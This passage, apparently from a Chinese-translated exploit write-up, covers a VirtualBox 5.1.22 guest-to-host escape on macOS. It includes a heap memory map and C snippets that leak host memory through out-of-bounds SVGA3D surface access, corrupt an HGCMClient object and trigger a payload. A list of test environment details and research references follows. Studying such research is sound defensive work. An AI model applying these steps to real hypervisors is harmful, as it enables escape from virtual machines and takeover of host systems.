rw-/rwx SM=COW DefaultMallocZone_0x106b7d000 MALLOC_TINY 00007ff16b400000-00007ff16b800000 [ 4096K 2464K 2464K 1632K] rw-/rwx SM=PRV DefaultMallocZone_0x106b7d000 MALLOC_SMALL 00007ff16b800000-00007ff16c06d000 [ 8628K 6592K 6592K 1828K] rw-/rwx SM=COW DefaultMallocZone_0x106b7d000 MALLOC_SMALL (empty) 00007ff16c06d000-00007ff16c06e000 [ 4K 4K 4K 0K] rw-/rwx SM=PRV DefaultMallocZone_0x106b7d000 MALLOC_SMALL 00007ff16c06e000-00007ff16d000000 [ 15.6M 14.0M 14.0M 1440K] rw-/rwx SM=COW DefaultMallocZone_0x106b7d000 MALLOC_SMALL 00007ff16d000000-00007ff16d800000 [ 8192K 5608K 5608K 2312K] rw-/rwx SM=PRV DefaultMallocZone_0x106b7d000 MALLOC_TINY 00007ff16d800000-00007ff16da00000 [ 2048K 864K 864K 1184K] rw-/rwx SM=PRV DefaultMallocZone_0x106b7d000 MALLOC_TINY 00007ff16da00000-00007ff16dc00000 [ 2048K 24K 24K 8K] rw-/rwx SM=COW QuartzCore_0x10cc46000 MALLOC_TINY 00007ff16dc00000-00007ff16de00000 [ 2048K 20K 20K 24K] rw-/rwx SM=COW GFXMallocZone_0x107072000 MALLOC_TINY (empty) 00007ff16de00000-00007ff16df00000 [ 1024K 8K 8K 8K] rw-/rwx SM=COW GFXMallocZone_0x107072000 MALLOC_TINY 00007ff16df00000-00007ff16e000000 [ 1024K 940K 940K 84K] rw-/rwx SM=PRV DefaultMallocZone_0x106b7d000 MALLOC_SMALL (empty) 00007ff16e000000-00007ff16e800000 [ 8192K 4K 4K 8K] rw-/rwx SM=COW QuartzCore_0x10cc46000 MALLOC_SMALL 00007ff16e800000-00007ff16f000000 [ 8192K 8K 8K 240K] rw-/rwx SM=COW GFXMallocZone_0x107072000 MALLOC_SMALL (empty) 00007ff16f000000-00007ff170000000 [ 16.0M 8K 8K 172K] rw-/rwx SM=COW GFXMallocZone_0x107072000 MALLOC_TINY (empty) 00007ff170000000-00007ff170100000 [ 1024K 8K 8K 4K] rw-/rwx SM=COW QuartzCore_0x10cc46000 MALLOC_TINY 00007ff170100000-00007ff170200000 [ 1024K 988K 988K 36K] rw-/rwx SM=PRV DefaultMallocZone_0x106b7d000 MALLOC_TINY (empty) 00007ff170200000-00007ff170300000 [ 1024K 8K 8K 4K] rw-/rwx SM=COW QuartzCore_0x10cc46000 MALLOC_TINY 00007ff170300000-00007ff170400000 [ 1024K 4K 4K 20K] rw-/rwx SM=COW GFXMallocZone_0x107072000 MALLOC_TINY 00007ff170400000-00007ff170500000 [ 1024K 1024K 1024K 0K] rw-/rwx SM=PRV DefaultMallocZone_0x106b7d000 MALLOC_TINY 00007ff170500000-00007ff170800000 [ 3072K 3072K 3072K 0K] rw-/rwx SM=COW DefaultMallocZone_0x10
定位并重写HGCMClient对象
一旦堆喷射完成,将会从SVGA3D_MAX_SURFACE_IDS – 1开始,越界读取与表面相关的泄露内存。如果找到任何HGCMClient,就会停止搜索,否则将会继续。
/*泄露内存*/ for (int i = SVGA3D_MAX_SURFACE_IDS - 1; i >= 0; i--) { access_memory(i, SVGA3D_READ_HOST_VRAM, memory, 0x1000); rv = find_hgcm_client(memory, 0x1000, &details); if (rv == 0) { surface_id = i; break; } }
在找到客户端对象后,我们通过泄露其“pSelf”指针来了解对象的位置。对象的vtable是一个指向VBoxC.dylib的指针。上述二者都不会受到ASLR机制的影响。随后,我们使用搜索期间找到的表面ID,对其进行越界写入,从而破坏对象。
access_memory(surface_id, SVGA3D_WRITE_HOST_VRAM, memory, 0x1000); Finally, use HGCM disconnect to use the corrupted HGCMClient as below: warnx("[+] Triggering payload..."); disconnect_client(details.key);
环境
· Guest环境:Ubuntu Server 16.04.5 64位,启用单个vCPU和VMSVGA。
· Host环境:macOS High Sierra 10.13.6。 请注意,macOS Mojave不支持较旧版本的VirtualBox。
· VirtualBox:5.1.22 r115126版本
参考文献
[1] VMware托管I/O架构上的GPU虚拟化
https://www.usenix.org/legacy/event/wiov08/tech/full_papers/dowty/dowty.pdf
[2] VMware SVGA设备接口和编程模型
https://sourceforge.net/p/vmware-svga/git/ci/master/tree/doc/svga_interface.txt
[3] CLOUDBURST – Vmware Guest到Host逃逸的故事
https://www.blackhat.com/presentations/bh-usa-09/KORTCHINSKY/BHUSA09-Kortchinsky-Cloudburst-PAPER.pdf
[4] 通过硬件仿真攻击虚拟机管理程序
https://www.troopers.de/downloads/troopers17/TR17_Attacking_hypervisor_through_hardwear_emulation.pdf
[5] VBoxManage
https://www.virtualbox.org/manual/ch08.html
[6] Oracle重要补丁更新公告 – 2015年1月
https://www.oracle.com/technetwork/topics/security/cpujan2015-1972971.html
[7] Oracle重要补丁更新公告 – 2017年7月
https://www.oracle.com/technetwork/security-advisory/cpujul2017-3236622.html
[8] Oracle重要补丁更新公告 – 2017年10月
https://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.html
[9] Heapple Pie – macOS/iOS中的默认堆
https://www.synacktiv.com/ressources/Sthack_2018_Heapple_Pie.pdf
[10] OS X堆漏洞利用
https://github.com/blankwall/MacHeap
[11] 思考在VirtualBox之外
https://github.com/phoenhex/files/blob/master/slides/thinking_outside_the_virtualbox.pdf